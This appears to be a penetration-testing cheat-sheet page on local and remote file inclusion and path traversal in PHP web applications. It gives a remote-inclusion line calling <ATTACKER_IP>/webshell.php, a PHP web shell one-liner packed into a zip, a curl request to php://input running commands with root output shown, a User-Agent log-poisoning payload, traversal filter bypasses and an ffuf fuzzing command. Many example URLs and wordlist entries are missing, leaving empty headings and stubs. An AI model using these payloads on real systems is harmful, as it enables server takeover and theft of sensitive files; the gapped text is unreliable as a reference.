File Inclusion


Local File Inclusion (LFI) and Remote File Inclusion (RFI) are vulnerabilities that allow an attacker to include a file into the server due to dynamic file inclusion mechanisms implemented in the target application without proper validation.

These vulnerabilities can lead to:

  • Server-side code execution

  • XSS attacks

  • Denial of Service (DoS)

  • Sensitive Information Disclosure

Remote File Inclusion

Remote File Inclusion (also known as RFI) instead of accessing a file on the victim's machine, the attacker retrieves files from other servers or its machine, obtaining code execution.<ATTACKER_IP>/webshell.php\\\shared\mal.php

Local File Inclusion

Local file inclusion (also known as LFI) is the process of including files that are already locally present on the victim's server, allowing an attacker to read files. Moreover, if the server runs with high privileges, the attacker may access sensitive information or obtain code execution.

Furthermore, this vulnerability is usually associated with another vulnerability named path traversal or directory traversal, which aims to access files and directories stored outside the default web folder.

Finally, in this subsection, you will file several techniques that you can apply to the LFI vulnerability.

PHP Wrappers

Sometimes, the attacker will want to get particular files like binary or .php files, but the files are displayed incorrectly or interpreted in the case of *.php files. For these cases, wrappers are used.

  • Base64: Encode the file into base64 format.

  • ZIP: The server can execute the code inside a zip file.


echo "<?php system(\$_GET['cmd']); ?>" > shell.php
zip -0 shell.php;      
rm shell.php

Exploitation: Once uploaded, you can obtain RCE by accessing the following URL

  • Data: The data wrapper allows you to include embedded information in the URL, including PHP code. The best way to have code is to pre-encode the code in base64. However, this wrapper only works if the allow_url_include is "On" at php.ini.

  • Input: This wrapper is similar to the data wrapper, but differs in that the information is sent via a POST request. It also requires the allow_url_include option to be enabled,

cat shell.php
<?php system($_GET['cmd']); ?>

curl -s -X POST -d @shell.php "http://localhost/index.php?cmd=id&file=php://input"
uid=0(root) gid=0(root) groups=0(root)
  • Expect: This wrapper is not installed by default, but if it is, it allows remote execution, displaying both STDOUT and STDERR. This happens because this wrapper gives access to a PTY (pseudo-teletype).


LFI can be helpful to trigger RCE via obtaining special files on the system.

Log Poisoning

The most common technique to obtain RCE is through poisoning and accessing the Apache /var/log/apache2/access.log file.

1. Inject PHP code in the User-Agent variable on a server request.

User-Agent:<?php system($_GET['cmd']);?>

2. Then, access the apache log file to obtain RCE.

Path Traversal

Allows an attacker to access arbitrary files on the server where the application is running. A common case to retrieve arbitrary files from the server is trying to access upper folders on the path. For instance, if the absolute path for the images folder is /var/www/html/images/ we can retrieve the file /etc/passwd with the following path.

In this section I will show you the techniques that you can use to discover a Path traversal vulnerability.

Absolute paths

You might be able to use an absolute path from the filesystem root, such as filename=/etc/passwd, to directly reference a file without using any traversal sequences.

Sequences stripped non-recursively

An application could delete the occurrence of the string ../. However, if the application doesn't remove it recursively by using the string ....// , the resulting string would be ../ still being vulnerable to path traversal.

Double URL-encode

If the application only one time URL decode the string in order to find a path traversal technique, an attacker could double URL encode the string ../ turning the string into %252E%252E%252F.

Validation of start of path

Some applications check that the beginning of the path to avoid path traversal. However, by using relative paths, the directory path can still be exploited. For instance, if the application checks that the images must be downloaded from images/ , an attacked can submit the path images/../../../../etc/passwd to bypass the filter.

Validation of file extension

Most applications check the file extension of the files to be loaded into the web application to avoid loading arbitrary files. However, there are different techniques that can be used to bypass this filter.

Null byte

Null bytes can be used to circumvent this security technique, as can be seen in the following example.



Adding the # or %23 before the original file, commenting the file path, might allow you to bypass the filter.



In the same way as the comment, the original file can be added to the URL as the value of a made-up parameter like so.



Here you have a set of bypasses that can you can try out if you run out of ideas:



In order to obtain which files are accessible through LFI, the attacker can fuzz the web application with different dictionaries.

ffuf -u -w file_inclusion_linux.txt -fs 0-1000


Wordlist with interesting windows files:

Some interesting files that might exist on the system:

# System Files

# Web Files
c:\Program Files\Apache Group\Apache\conf\httpd.conf  
c:\Program Files\Apache Group\Apache2\conf\httpd.conf  
c:\Program Files\xampp\apache\conf\httpd.conf  
c:\home\bin\stable\apache\php.ini// Some code


Wordlist with interesting Linux files:

Some interesting files that might exist on the system:

# File system users and groups


# Command history files

# SSH Files

# Filesystems to be mounted at boot time
# Currently mounted filesystems.

# Process files

# Logs

# Web Files


Last updated